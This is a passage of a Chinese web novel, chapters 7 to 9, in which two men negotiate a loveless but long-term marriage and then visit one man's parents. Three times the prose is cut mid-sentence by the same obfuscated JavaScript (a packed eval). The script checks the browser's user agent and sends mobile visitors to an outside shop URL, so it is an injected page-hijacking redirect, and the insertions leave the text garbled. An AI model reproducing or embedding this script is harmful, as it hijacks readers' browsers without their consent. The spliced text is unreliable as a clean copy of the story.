《婚后不许装正经!》 7. 第 7 章 安静的茶室中雾气氤氲上浮,透着淡淡的香气。 上次吃饭的餐厅是林云序选的,这次两人约好见面后,林云序将地点的选择权交给了对方。 他们认识的时间太短,除了言谈举止、音容样貌外,能够加深对人的了解途径往往都在日常每一件小事的选择中。 这是一家有资深中医坐镇、以茶疗为特色的茶馆。 上的茶是各品种中更为温和的白茶,具有消炎作用。 陈化了5年以上白毫银针性温,且快速出汤,冲泡得清淡,避免过浓影响到林云序的伤,适量喝些反而对身体有益。 他垂头抿了口,茶汤细腻,带着它独特的清鲜。 在这样静谧的环境中,人的神经也不免放松了下来,确实是个谈事的好地点。 茶艺师整理好桌面,接收到茶客意思后离开,整个房间内只剩下了他们俩人。 林云序抬眸看了眼对面不动如山的男人。 那晚听到对方说的话后,林云序差点反问一句“喝大了?”。 这件事过于突兀,可他很快冷静下来,反复琢磨了下那句话—— “不知道林先生需不需要一段婚姻?” 林云序知道季盏明这人聪明,只是对方一心科研,性子冷淡疏离又少与人虚与委蛇。 现下一看,分明也极通世故。 什么叫林先生需不需要? 主动打电话给他难道不是因为季盏明自己需要吗? 这话乍一听,不知道的还以为是对方好心要帮他解决麻烦呢! 对方很清楚,如果一开口的是“我需要一段婚姻”,就会立马在谈判中落于下风。 同时,季盏明也一定知道,他在为同样的事感到困扰,于是先一步点明。 林云序本觉得荒谬,拒绝的话都在嘴边,硬是被他憋了回去。 居然真的开始认真思考起了这件事——他需不需要一段婚姻? 尽管电话那头的男人没有再说话,林云序也充分理解了对方的意思。 但他需要时间好好想想,干脆含糊了过去。 挂掉电话后,他仔细思考清楚了整件事。 然后联系他的私人律师给他清点个人资产,让对方出具了一份婚前注意事项给他。 最后,林云序才给季盏明发了信息约见。 林云序叹了口气:“季先生运气不错,在最合适的时机打了那通电话。” 早一点,林云序会坚定的回复对方三个字——不需要。 晚一点,那些因为下午听到父母谈话而涌上峰值的愧疚心疼也会下降些,理智彻底占据高地。 偏偏是在他夜里难得感性,思绪最纷乱、心最软的时候。 对方的提议一下子就撬动了他,让他思考其中的可行性,于是才有这次见面。 季盏明缓缓放下杯子,对方既然没有继续说,那他也就不会继续追问什么时机。 他看了会儿对面的青年,蓦地开口道:“林先生想要的婚姻是怎样的?” “换句话说……林先生需要其中有爱情吗?” 林云序蓦地笑了,说实话,如果需要,他现在就不会坐在这里和对方讨论结婚。 几乎没有人知道,他骨子里其实是个追寻刺激的人,过往甚至会玩一些极限运动。 压力太大,他需要一些出口宣泄,能够让他忘记除了生命本身以外的所有事情,只能听到心跳的声音。 而季盏明这人,像是冻住的湖水,稳定平静、情绪少有起伏,无法震荡出弘大的波澜。 那些对对方来说,或许过于出格且不稳定,具备风险。 他们在感情上大概很难共振。 而之所以和一个没有感情基础的人谈论婚姻,并非他抗拒爱情。 相反,林云序非常相信爱情的存在,也曾希望拥有。 他成长的家庭环境中,不管是父母还是其他长辈,都给予了他无比漂亮的爱情模版,像是童话般。 可童话的另一层含义,是幻梦般可遇不可求。 真爱在他这里已经有了满分标准答案,虚情假意的东西入不了眼。 可偏偏真心稀缺,情意难得。 况且他自己就是个难以付出真心与信任的人,或许他本身就是虚情假意。 那么爱情无解。 干脆就不想了,不是非要不可。 而只要抛却爱情本身,面前的男人才貌品行样样优秀,又门当户对的,婚后还能不干涉彼此的生活。 能够免去他生活中的很多麻烦,是再合适不过的结婚对象。 那就结吧。 季盏明冷淡的声音拉回了他的思绪:“爱情我无法给到,抱歉。”说着,他顿了下,“我们还有必要继续谈下去吗?” 林云序微凉的手捧住茶杯:“继续吧。” 季盏明会意,他们达成共识,这段婚姻中将不会有人期待对方给予爱与情绪价值。 那么剩下的就很好谈了。 林云序先开的口:“季先生说这个,是在为我们的婚姻年限做铺垫?” 和聪明人说话确实省心,季盏明点了下头。 林云序笑道:“你想要一段长期的、稳定的关系?” 季盏明没有否认,这点应该是他们双方共同的诉求。 “林先生认为一段只维持几年就离婚的婚姻有意义吗?” 是的,没有意义。 林云序也知道。 他们早已谈论过,关于这段婚姻存在的背后原因。 对方是因为爷爷,他同样是因为家人。 那么说句直白的,他们的家人都不可能只活几年。 如果应付过这段日子,没过多久就离婚,无异于扬汤止沸。 在他们离婚后,迎来的大概率是家人的担心,忧愁这段感情为什么会失败,甚至会因为他们年岁更大而愈发焦虑他们未来的感情生活。 一切情绪都会井喷式反扑。 只是想起来,林云序就觉得后续麻烦不断。 所以季盏明才会问他需不需要爱情,爱情或许短暂,但双方受益的合作一定能够长久。 “是,短期的应付没有意义。”林云序反问道,“所以季先生有想过后续离婚吗?” “林先生想过,那就离。” 林云序的肩背松了下,倚进后面的靠背里,打量着面前的男人。 成年人再冲动其实也冲动不到哪里去。 他们都不是小孩子了,有过各样丰富的人生历程,所有看似冲动的背后一定都是深思熟虑。 林云序了解自己,就算他们约定好,婚后若是遇到喜欢的人就离婚,也是不可能的。 虽然没有感情,但结婚证是真的。 他的性子和道德无法在婚姻延续其间对别人产生感情,更不会和别人暧昧。 只说俞宜凌是公众人物,真发生了这样的事对家人会有影响这一点,他都不可能做出来。 所以不管婚姻性质如何,只要它是婚姻,一旦林云序答应了对方,他就基本完全断绝了自己和他人发展感情的可能。 每一点背后带来的利处和隐患,他早已想得清楚。 等他们在意的人已经不在这个世界上的时候,已经不知道是多少年后,那时候再去谈离婚好像也没有意义了。 所以在给对方发消息的那一刻,他就知道自己放弃了什么,更想要的又是什么。 他们之间,从一开始谈论的就是一场真实的婚姻。 季盏明也无比清楚这点。 在打那通电话之前,他就考虑过各种模式。 恋爱合约、协议结婚、短期婚姻、假结婚…… 发现意义都不大,那必然是一个长期的过程。 而一段经年累月的长期稳定婚姻,还是假的吗? 他深知自己不会随便选个人提出这种“合作”,但凡换个人,也根本没有可行性。 没有爱的长期婚姻,听起来多吓人。 一般人或许图便利,容易会被眼前利益所诱;又或者不明白这个决定背后的深重,多年后难免后悔或中途毁约。 但林云序不同,他太聪明,又足够成熟理智。 不用季盏明多说,他就已经能把事情从根源处想透,再去权衡其中利弊,判断自己要不要接受。 林云序知道自己在干嘛,一旦他做出决定,就说明这是他真心想要的,谁也诱导不了他,也勉强左右不了他。 他们处在相似的困境,都不需要爱情,那在这场寡淡的婚姻中他们是绝对平等的,谁也用不着亏欠谁。 至于离不离婚这一点,二十年后爷爷不在的时候,对季盏明来说其实怎样都无所谓了。 但林云序父母仍健在,如果真能合作到那么久,说明他们之间没有什么不可调和的矛盾。 那季盏明将最后是否要离婚的选择权交给对方。 合作得好,从此以后他们都不必再被婚姻这件事浪费心神和精力,双方家长不再担忧,他们的生活和现在也不会有很大区别。 一劳永逸,皆大欢喜。 最重要的问题达成共识,林云序从一旁拿出打印的两份清单。 “虽然已经决定要结婚,但有些细节还需要讨论,我简单罗列了一下,有意见可以再提。” 然后他就看到季盏明同样拿出了整理好的两份文件。 林云序:“……” 他一边欣慰,自己的搭档同样成熟稳重、思虑周到,能够跟上他的节奏。 如果是个什么都没有准备好,脑门一拍就提出结婚的人,他理都不会理。 但一边又惆怅,这人城府深,得打起精神仔细应对。 在对方伸手接过一份清单的时候,林云序手停了下,轻微的拉扯力量让季盏明抬头看向他。 林云序这才手一松:“既然是真实的婚姻,那婚姻中的义务有哪些,季先生可知道?” 季盏明垂头扫了眼对方列举的条件和需求,轻描淡写道:“林先生出身律政世家,不如劳烦林先生解释一下?” 林云序也同样在扫视着对方给的文件,闻言抬头看了眼对面从容疏离的男人。 “那不好意思了,没能继承林家的家学渊源,不过我倒是可以为季先生用7种不同的语言翻译出来。” “据我所了解的义务大概有忠实、尊重、同居、重大决策共同决定,如果林先生不是柏拉图,并且觉得有益于身心健康,或许还包括性生活。”季盏明清楚,这些问题避不开的,怎样都得在婚前拿出来讨论明白更合适。 男人的声音平静,古井无波的用笔在纸面上圈出一个重点,说完头也不抬,彬彬有礼地朝林云序掌心向上示意了一下。 林云序觉得这个“请”的动作翻译成中文大概是:“翻译吧,7种语言。” “……” 林云序笑了下,并不随着对方的话走:“义务的意思有情愿、志愿、应该,季先生是哪种?” “还有第四种,不履行。”季盏明反问道,“林先生希望我履行吗?” 林云序佯装惊讶:“季先生不能履行吗?” 季盏明停下了手中的笔,抬头对上了面前青年的视线。 淡淡的茶雾中,对方目光清亮,脸上带着清浅笑意,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949050|193042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似温柔,却美得不会让人轻视。 他有种属于上位者风轻云淡、轻飘飘就能将人拿捏的气质。 很精准微妙的词。 不是问“想不想”,而是问“能不能”。 后者含义不仅包括了前者的主观意愿,还有是否具备该能力的意思。 如果忠实、尊重这些义务不能履行,那就是对合作不真诚,品性存疑,暗含这段婚姻或许会有多种隐患。 如果指性生活不能履行,是身体有问题还是心理有问题? 他们结婚那么久,难不成一辈子当苦行僧守活寡?都是成年人了,大可以对欲望坦诚一些。 不管是哪一点有分歧,面前的青年恐怕都会终止商谈,然后离开。 他甚至还以一个惊讶的反问表明了他自己“不排斥履行”的态度,狡猾地将一个棘手的答案就这样轻而易举抛了出来。 然后把季盏明推到一个需要正面回答的境地。 季盏明深深地看了他一眼,最后缓缓开口:“能。” 林云序从容地点了一下头:“很高兴达成共识。” 他继续看向桌面上的文件,垂头无声笑了出来。 他忍着笑解释道:“我在国内待得不多,常常要出差。” “所以为了生活和工作方便,我一般住在瑞士或伦敦,不管是同居还是其他什么,季先生不必有心理压力,我们见面会很少。” 在瑞士是因为国际组织云集,林云序参与的大多会议在那里,伦敦则是他所在的综合语言服务集团LT的总部坐落于此。 “大多时间在国外?” 男人的声音有些轻,像是在思考。 “嗯。”林云序看了他一眼,“怎么了?” “在国外,意思就是很难找到人?” 林云序心里“咯噔”了一下,还没开口面前的男人已经淡淡道: “林先生的父母家人找到我很容易,我爷爷如果想和你联系感情会比较麻烦,是吗?” “……” 林云序觉得完全有可能。 俞宜凌和林章很看重家人,一旦林云序和季盏明结婚,那么季盏明也就成为了家人。 寻常看望他、关心他身体,又或者一起吃顿饭,这样的情况应该不会少。 尽管是善意的存在,但如果当事人不需要,就是麻烦。 而季盏明的爷爷大概很难碰上他的人和时间。 说明季盏明需要打起精神应对他父母的可能性更多。 林云序:“所以?” 季盏明其实觉得对方常在国外也挺好,他们不用频繁见面。 但还是毫不犹豫淡然道:“后续的风险补偿条款中让一成利吧。” 林云序:“……” 他没事逗这人做什么! 尽管这是一段真实婚姻,但短期内不离婚只是理想情况,谁也不会赌人性。两人结婚,是有影响到另一方的风险存在的,如果对对方造成损失,自然得补偿。 比如几年后,长辈释怀想开,觉得婚姻没那么重要,以致他们当中有一方想获得自由,要提前离婚。 又或者婚后实在无法相处,导致毁约。 还有婚后损害到对方的名誉等,又要付出什么代价,尽数写明。 笔尖在纸面上划出深深的痕迹:“行。” 林云序面上没有暴露任何心绪,缓缓开口:“季先生一心专攻技术,不深入公司管理和资本运作真的太可惜了,我瞧着季先生这谈判能力不输专业人士。” 听到这话男人也没有任何情绪波动,仿佛不会被任何人任何事所影响。 不急不忙地将手中的文件翻了一页:“算了,免得在谈判桌上碰到林先生这样的。” 林云序随口道:“林先生就这一个,不也被你谈判成功了?” “亏林先生不计较。” 两人花了一个多小时,将各自的需求整合,直至最后的拟稿双方都同意下来才结束。 林云序的神经也松了些,除了谈论正事,他们之间似乎没有什么话要说。 于是两人起身准备离开。 林云序拿起外套,一边开口道:“下次见面我会带着律师,还有体检表,包括心理健康评估,季先生准备好后联系我。” 林云序要的不仅是一个健康的人,更是一个健全的人。 这其中自然包括心理层面。 说起来有些冷漠,但事实就是,他同意这段婚姻是为了解决问题的,而不是增加麻烦和隐患。 不谈感情,只谈合适的结婚对象,他必然要选择客观条件上顶顶优秀的。 季盏明充分理解这一点,他应了下来。 如同之前几次见面那般,季盏明把林云序送到车边。 林云序一边拉开车门,一边开口道:“季先生如果没有什么事的话,我就先走了。” 就在他要上驾驶座时,听到了季盏明的声音:“林云序。” 林云序有些意外,扭头看向对方:“怎么了?” “季盏明。”季盏明的声音沉静,不带有情绪波动道,“以后直接叫名字。” 林云序胳膊搭在车框上,今天他们是来谈判的,总归要客气些拉开些距离。 从未亲近过,那么谈崩了也无关紧要。 但下次见面大概就是结婚的时候了,还林先生季先生反复唤来唤去,要么是装模作样惺惺作态,要么就是玩情趣。 林云序没有意见,他侧身坐进车里。 “知道了。” 他唇边带着温和无害的笑意,眼尾却轻轻上扬: “盏明,下次见。” 8. 第 8 章 转眼间就到了4月份,林云序所说的“下次见”也比他预想中的要更久。 观晸集团研发新项目,季盏明去伦敦出差。 而林云序也结束了漫长的休假,开始复工。 当初那场让林云序受伤的T国会议,他是被请去救场的,却没想到出了意外。 LT公司理亏,再加上林云序在LT待了8年,休假请假都少有,积攒不少假期,于是批假也批得利落。 只是以林云序的工作性质,就算是休假也不可能完全断联gap。 他仍远程参与了不少咨询指导工作以及线上同传会议。 所谓的复工不过也是渐渐恢复了以前的工作模式,开始满世界飞现场。 整个期间,林云序和季盏明只联系过一次,还只是言简意赅地说明了一下现生的忙碌情况。 等到都有时间的时候,已经是一个月后。 林云序收到季盏明到达家门口的消息,起身出去接他。 ——今天是对方上门见家长的日子。 在此之前,他们见过一面,是为了进行财产公证以及签署各种协议。 季盏明作为一家头部科技企业的创始人,身价自然不可估量。 至于林云序,尽管他已经做到了自己领域的天花板,但毕竟行业收费标准和上限那里。 所以他主要的经济来源并不是主职。 当初职业规划他选择译企而不是走官方道路,就是因为他需要有更大的自由度。 在会议选择上有商讨余地,且拥有随时能够向其他职业方向发展的机会。 所以算上副业的投资等,仍也是一笔不菲的财富。 他不贪图别人的,也不会让他人随意算计得了自己。 之后在餐桌上,他们细化了一些问题。 其中讨论的一条是,需不需要经历正常情侣的婚前流程? 林云序还记得季盏明的回答:“我希望能先告知长辈我们想结婚了,到时候我爷爷可能会想见你,得辛苦你和我走一趟。” “如果不方便,我会找合适的理由向我爷爷说明,但先告知长辈的这个决定不会改变。” 如果说之前一直都是冷冰冰的谈判,一切当做合同里的条款,那么直到这一刻,林云序才完全正视了季盏明的需求。 真心疼爱孩子的长辈,一定会想经历与孩子另一半的相处熟识、甚至是考察,以及对他们婚前的叮嘱、赠礼等流程。 而不是被敷衍,在毫无准备的情况下得到一个“已婚”的结果。 之前聊的时候,季盏明只简单说了结婚是因为爷爷,没有提及具体细节。 林云序还以为对方只是想快点解决结婚这个问题,为了给长辈一个交代。 这一瞬间,他却对季盏明和他爷爷之间的感情有了一个新的认识。 不是敷衍,不是随便应付,是向亲人给予了所有的尊重。 先告知,得到长辈的认可和祝福后,再结婚。 这份祝福,他和季盏明或许不需要,但一定是给予者的夙愿。 他们会希望自己能拥有这样珍贵的机会,那是一种很特别的仪式感。 季盏明的态度也决定了他以后面对季爷爷的认真程度有多深。 于是,林云序给出了他的答案: “你爷爷的喜好到时候发我一份,我会好好准备。” 他同样也希望对方能先正式见过他的父母。 本来还在考虑会不会麻烦季盏明,现在倒是没有了后顾之忧。 于是他们达成共识,将应有的婚前流程给到长辈后再领证。 本就是为了长辈们舒心才有的婚姻,那不妨做得好些。 至于婚后怎样过,就是他们俩自己说了算了。 这也是季盏明今天来家里的原因。 林云序穿过前花园出了门,就看到了刚从驾驶座上下来的季盏明,对方一席正式黑西装,正朝着后备箱去拿礼物。 他同样发过一份自己父母的喜好给对方。 林云序扫了一眼,礼物避开了价格过于高昂以及涉及隐私的东西。 大多是需要用心准备的,像是俞宜凌喜欢的非遗类手工艺术品和摆件,以及林章青睐的文房雅玩与珍酒等,一切都恰到好处。 林云序清了清嗓子,蓦地有些心虚地开口道:“事情更复杂了些。” 季盏明站直身子,无声地用眼神询问他。 “就是吧……你得知道一件事,无论是林家还是俞家,对我的在乎程度都极高。” “所以?” 林云序叹了一口气:“不止是我爸妈,俞家人和林家人也得麻烦你正式见见了。” 季盏明:“……” 他下意识看向林云序身后的别墅。 林云序注意到他的目光,解释道:“今天只有我爸妈,其他长辈们倒是想见,但因为你是第一次来我家,所以我推了。” 他还不至于临时给对方出这样的难题。 “我们可以领证后再去见。” 想到那天通知家里他准备结婚的情况,林云序就一阵头疼。 他原本计划得很好—— 第一步,先送上父母喜欢的礼物。 第二步,聊天时不经意提到季盏明,说他们俩最近在接触。 最后一步,说些季盏明的好话,在他们对这人产生一些好感后再引出主题。 可等真正说的时候,分明是为了让长辈宽心的事,他却莫名有种小情侣结婚征求父母同意的感觉。 失神间,一句“爸妈,我要结婚了”就已经脱口而出。 他懵了,俞宜凌和林章也懵了。 事实证明,人不管多大年纪遇到事情无措时还是想找爸爸妈妈。 俞宜凌一通电话给外公外婆,大声:“爸——妈——” 林章一通电话打给爷爷奶奶,大声:“爸——妈——” 林云序也在叫爸爸妈妈,一时间满屋飞“爸妈”。 总之没过一会儿,几乎林家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949051|193042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和俞家最亲密的直系亲人都知道了。 林云序简单讲了讲事情的经过,颇有些无奈。 季盏明知道,以他和林云序的关系对方不会故意给他添麻烦。 没让林家和俞家其他亲人今天一齐上阵,估计已经是对方努力后的最终结果了。 林云序有些头疼,在想如果季盏明嫌麻烦的话,他该怎么和爷爷奶奶外公外婆那边交代。 季盏明开口道:“知道了,下次约定好时间后告诉我。” 见对方同意下来,林云序松了口气。 他不由得有些理亏,对方只有爷爷需要他费些心,自己这边却要复杂得多。 “以后季爷爷那边有任何需要到我的地方,我都乐意效劳。” 季盏明对这个结果并不意外:“你受家人爱护,见面是迟早的事。” 林云序神色缓和了些,轻轻“嗯”了声:“谢谢。” 说完,看着对方因刚刚整理礼物而有些偏移的领带,林云序伸出手给他正了正。 季盏明没有动,垂眸看着青年温和的眉目,任由他的动作。 最后给人调整好领带夹的位置,林云序抚平男人的衣襟,抬眸对上季盏明的视线,带上了几分笑意。 “不错嘛,没有躲,心理素质挺好的。” 一般林云序和人吃饭喜欢面对面坐,一个是能看到对方的反应,另一个是能有一定的社交距离。 但上次和季盏明吃饭时他们坐在了同一侧,同一张双人沙发上,以物理上缩短的距离来快速熟悉彼此的气息。 “我们认识没多久,也都不是迅速就能打得火热的性子,这些长辈都知道,所以没亲密到一定程度情有可原,但不能抗拒彼此的靠近,这是基本原则。” 这是那时候林云序的原话。 “好了,我们进去吧。” 林云序正要迈步朝着大门走去,突然察觉到自己的手腕被一只温热的大掌握住,他下意识就想抽出来。 原本松松圈住的手指却陡然收紧,牢牢禁锢住,再动弹不得半分。 “躲什么?” 林云序有些惊讶地回头,就看到季盏明垂头笑了下,很轻。 对方的手轻飘飘的一松,五指舒展微张,似乎是在说明自己没想干什么。 他说:“不太行,心理素质有待加强。” 林云序:“……” 他这还是第一次听到有人跟他说心理素质得加强! 这种时候,季盏明却叫他:“林先生。” “你知道这叫什么吗?只许州官放火,不许百姓点灯。” “一件事你能对别人做,却不允许他人对你做出类似的事,进去后可别躲了。” 对方身上看不出丝毫见家长的紧张,修长挺拔的身影游刃有余地后退了一步,拿上了礼物关上后备箱。 然后再次看向林云序。 林云序眼皮重重地跳了一下,随即听到了男人风轻云淡的声音: “基本原则。” 9. 第 9 章 林云序懊恼,心底无声骂了句见鬼,居然在这种地方被拿捏住了。 不知道是不是他的错觉,尽管男人依旧是冷淡疏离的模样,心情却好似还不错。 偏偏林云序理亏,是他先想逗人的,被反将一军他无话可说。 下次还来! 他会更小心的。 他深呼吸一口气,唇角扯出得体的笑:“我知道了,进去吧。” 两人进入屋子,融合现代风的宋式美学装修典雅素净,室内明亮通透,处处都透着主人家高级的审美。 俞宜凌和林章早就在家里等着了,听到门口的动静后两人齐刷刷扭头望去。 身形修长的两人并肩而立,芝兰玉树,清隽俊雅,正微偏着头低声说话。 转过玄关处后抬起头一齐朝着沙发处看来,对上了林章和俞宜凌的视线。 就在这一刻,就算俞宜凌心里有再多想法也得承认,汤立兰居然真的没坑她! 这两人站一起实在亮眼,没人能说得出不般配的话。 思绪纷飞间,她和林章已经笑着站了起来。 季盏明礼貌问候:“叔叔阿姨,初次见面,你们好,我是季盏明。” 俞宜凌看了看对方送过来的礼物,看包装能大概知道是什么种类,她抬眼看向儿子,其中是谁出谋划策很明显了。 林云序朝她轻轻眨了下眼睛。 俞宜凌不由得有些好笑,神色缓和,和林章亲手接过对方的礼物。 “过来坐吧,开车远不远啊?” “还好,挺近的。” 俞宜凌笑道:“那天一听这孩子说你们打算结婚,我和你叔叔好半天没反应过来,你们这还没认识多久吧?” 季盏明没有反驳:“对,但其实我和云序三年前就在国外见过。” 听到这话林章也不免有些惊讶:“那时候你们就有苗头了?” 林章话音落下,俞宜凌的目光就看向了季盏明。 几天前 因为林云序和季盏明都出差,第二次约见商谈婚姻细则时,和第一次商谈已经相隔二十多天。 “有个时间缓冲挺好的,要不然前脚刚相亲失败,后脚就结婚也很奇怪。” 听到林云序的话,季盏明回道:“相亲失败一个月后我们领证结婚,难道就不奇怪了?” 林云序想了想:“到时候就说,你去伦敦出差,我恰好也在那里。” 他是真的在那里,只是他们并没有见面。 “异国他乡的偶遇总会添上几分浪漫和令人遐想的色彩,我们在那里意外滋生了不一样的情愫,这个故事听上去是不是好一些?” 季盏明客观点评:“那你还不如说三年前我们在F国就见过,那时候就埋下了感情的引子。” “三年前的引子?”林云序笑了出来,“等不了三年,真有引子我早拿了。” 林章和俞宜凌了解他,如果三年前真对一个人有了好感,他就不会是坐以待毙等三年后缘分天降的人,早出手了。 季盏明抬头看了眼青年,他总是能以一派温柔似水的面孔淡淡说出极有力度的话。 偏偏对方从容自如,不以为然。 林云序继续道:“你不了解我,我爸妈还能不了解吗?你这话一出,他们就知道我们在编故事。” … 季盏明脸上带过很浅的笑意,对两人道:“不是,其实那时候还没有感觉,只是巧合遇见过一次,我捡到了他的项链。” 季盏明是很深邃的浓颜,只看面容就带有很强的攻击性。 但那些攻击性像是被刀鞘封住,带有成年人收放自如、不随意刺人的克制与内敛。 就算和结婚对象的父母说话也是不卑不亢的,不讨好也不过于拒人于千里之外,于是就糅杂成了一种让人心安的稳重与可靠。 所以尽管给人的感觉没有那么亲和,但同样是长辈们所青睐的类型。 听到季盏明说三年前没有感情苗头,俞宜凌反而眉眼缓和了些:“这样啊。” 季盏明看在眼里,不由得有些好笑。 这个家里,不仅是林云序的父母了解自己的孩子,他也同样算准了他们的反应。 林章倒是有些好奇了起来:“然后呢?” “然后,就是一个多月前相亲见面的时候了,我们都觉得挺巧的。” “只是那时我俩都有点排斥‘相亲’这种模式,所以餐桌上我们很少聊私人话题,谈的大多是工作,于是也就没有了然后。” “直到前阵子,我去伦敦出差,云序恰好也在英国。” 说到这里,季盏明偏头看向身边的人。 林云序和他坐在一张沙发上,离得很近,正单手支着下巴听他讲。 “……” 这种时候,他一副置身事外,仿佛是在听别人故事的状态是怎么回事? 对上男人的目光,林云序没忍住笑了出来。 他们没有一板一眼的对过口供,可不是第一次听吗? 林云序倒是想听听这人能编出个什么东西,他还记得前几天和对方讨论过相关话题。 俞宜凌圈里待了这么久,对是不是谎言有自己的一套评判标准。 林章这么多年的律师也不是白当的,三教九流、达官贵胄都打过不少交道,极善辨人。 何况夫妻俩相爱了这么多年,真情假意哪里看不出来? 季爷爷更是活了大半辈子。 林云序从不轻视长辈们的智慧。 “在他们面前最忌讳的就是撒谎,他们或许能够接受我们的关系浓度还没有到达一定程度,毕竟我们没有认识多久是事实,但对彼此不真诚是很致命的。” “这关乎到我父母怎样看待你这个人,你爷爷怎么看待我,所以我们自然些就好,虽然不可避免,但少撒谎为上。” “重要的是向他们展现我们在认真靠近彼此,慢慢了解,这场婚姻不是一时兴起、不是应付敷衍。” “而是两个成年人深思熟虑后郑重的决定,我想他们需要这样一个态度,也会真心认可我们,从而开心。” “况且……我们确实是在慢慢了解、诚心结婚,不对吗?” 季盏明平静坦然地看着他,回道:“对。” “很好,改变这个底层认知就很好办了。” 现在,对方手里握着一个茶杯坐在沙发上,认真又缓慢地讲述那些经过。 他几乎没有过那种吊儿郎当的模样,甚至漫不经心和随意都少有,所以从不给人轻浮之感。 克己复礼,端整正经。 林云序这个当事人听起来,都觉得好似是真的。 但仔细回想起来,哪句话是假的? 没错啊,他们是在3年前见过,对方捡到了他的项链,也没说那时候就有感情。 相亲也是,说了他们主要在谈论工作,甚至还说了他们不喜欢相亲这种模式。 林云序那阵子在伦敦也不是什么秘密,而观晸官网上还挂着季盏明和伦敦合作企业CTO交谈的照片。 这些父母知道的事实,无疑添加了他们的信服力。 可那些留白却让人产生无限遐想。 一次两次没有感觉,甚至还有对被安排相亲的排斥。 但世界这么大,还再三再四的在不同地方碰见,谁都得感叹一声缘分的奇妙。 感情也是需要到达一个临界点才会如指数化般增长的。 那些情愫的滋生如同春日的流水,自然地滚动流淌,好像也就不是什么很奇怪的事了。 林云序眼里闪过一丝笑意,这人还真的没有撒谎。 甚至最后一句说的是“直到前阵子,我去伦敦出差,云序恰好也在英国”。 对,他们都在英国,戛然而止的留白掩盖了他们并没有见面的事实。 林云序顺势接过话头:“总之后面就有接触了,觉得可以试试。” 俞宜凌问道:“那怎么现在就想结婚?不觉得早了吗?” 林云序没有扯那些悬浮的东西,切实客观道: “我和盏明的工作都挺忙的,说实话,其实没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949052|193042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有很多时间慢慢谈恋爱,既然目前有感情,相处下来性子也很合适,人生目标和方向也趋于同一个方向,就觉得没必要浪费时间了。” “我们仔细考虑清楚了,就不想在这件事上过于拖沓纠结。” 俞宜凌和林章对视了一眼,确实很符合他们对林云序的了解,也符合他们对面前男人的认知。 俞宜凌笑道:“我知道,你们都不是草率的人,既然已经做下了决定,我们会尊重。” 说完,她转而看向季盏明:“你的家人呢?” 季盏明明白,这是在问他那一方的态度。 他认真道:“我先来见您和叔叔,但我早已告知家人,在相亲前爷爷就很喜欢云序,父母也正从国外赶回来,期待能有机会正式见他。” 这是表明先得到俞宜凌和林章的首肯和认可,再进行下一步的意思。 客观上优越的条件和主观上谦逊的姿态都摆在面前了,他们确实很难再有什么意见了。 接下来的谈话氛围轻松了很多,见季盏明处理得游刃有余,林云序也就不再一直坐在他身边。 他去到后花园打理月季,这是很娇气的一种花,极易染上各种病,定期处理很重要。 蓦地,手机铃声响起,看着屏幕上显示的“俞璟风”三个字,他点了接通。 “干嘛?” 俞璟风拖长着语气反问:“你干嘛呢?今天见家长,这不是好奇嘛,你又不许我们去凑热闹,就只能打电话问问了。” 林云序头疼,俞璟风是俞静芸的亲弟弟,也是他的表哥。 要是他同意了他过来凑热闹,林家那边的也得闹起来,说他偏心。 处理完月季,林云序蹲下来给杜鹃松了松土,让它们透透气。 “盏明在客厅和我爸妈聊天,我出来透透气,在浇花。” “哟哟哟哟,盏明~” “……”林云序深呼吸了一口气,温柔威胁道,“你再发神经,我就挂了。” 俞璟风闷笑了几声,然后才收敛了些:“想好了?” 林云序一顿,然后轻轻应了声:“我什么时候莽撞行事过?” “也是,姑姑和姑父那边呢,怎么说?” “虽然还没有彰显明确的态度,但我看得出来,他们挺满意季盏明的。” “那就好,能过姑姑和姑父的眼,说明很优秀。对了,我姐不是认识季盏明吗?知道你们要结婚后,她还跟我们说他可帅了。” 说到这里,俞璟风好奇道:“你也相过好几次亲,这人最吸引你的是哪点?你不会肤浅的说是脸吧?” 林云序强调:“他当然有很多优点,但要是看脸也不丢人,脸很重要的。” “我长成这幅模样,凭什么不能选择我觉得最好看的?” 林云序从小就和林家与俞家的兄弟姐妹们关系亲近,对他而言,他们不仅是亲人也是朋友。 因为对外界的警惕心强,于是可以付出信任、真心玩在一起的也是这些家人。 在幼时最艰难的那段日子里,他们和父母给予了他无条件的偏爱和守护,直至现在。 于是在最亲近的人面前,林云序向来不吝于展现真实的自我和想法。 “而且你想啊,一整天辛辛苦苦工作结束后回到家,必须有一个人在你身上蛄蛹,丑的、帅的,你选哪一个?还用犹豫吗?” 俞璟风:“……搞不懂你们男同,我是直男,不会有人在我身上蛄蛹,而且你也太不争气了,凭什么你被蛄蛹?” 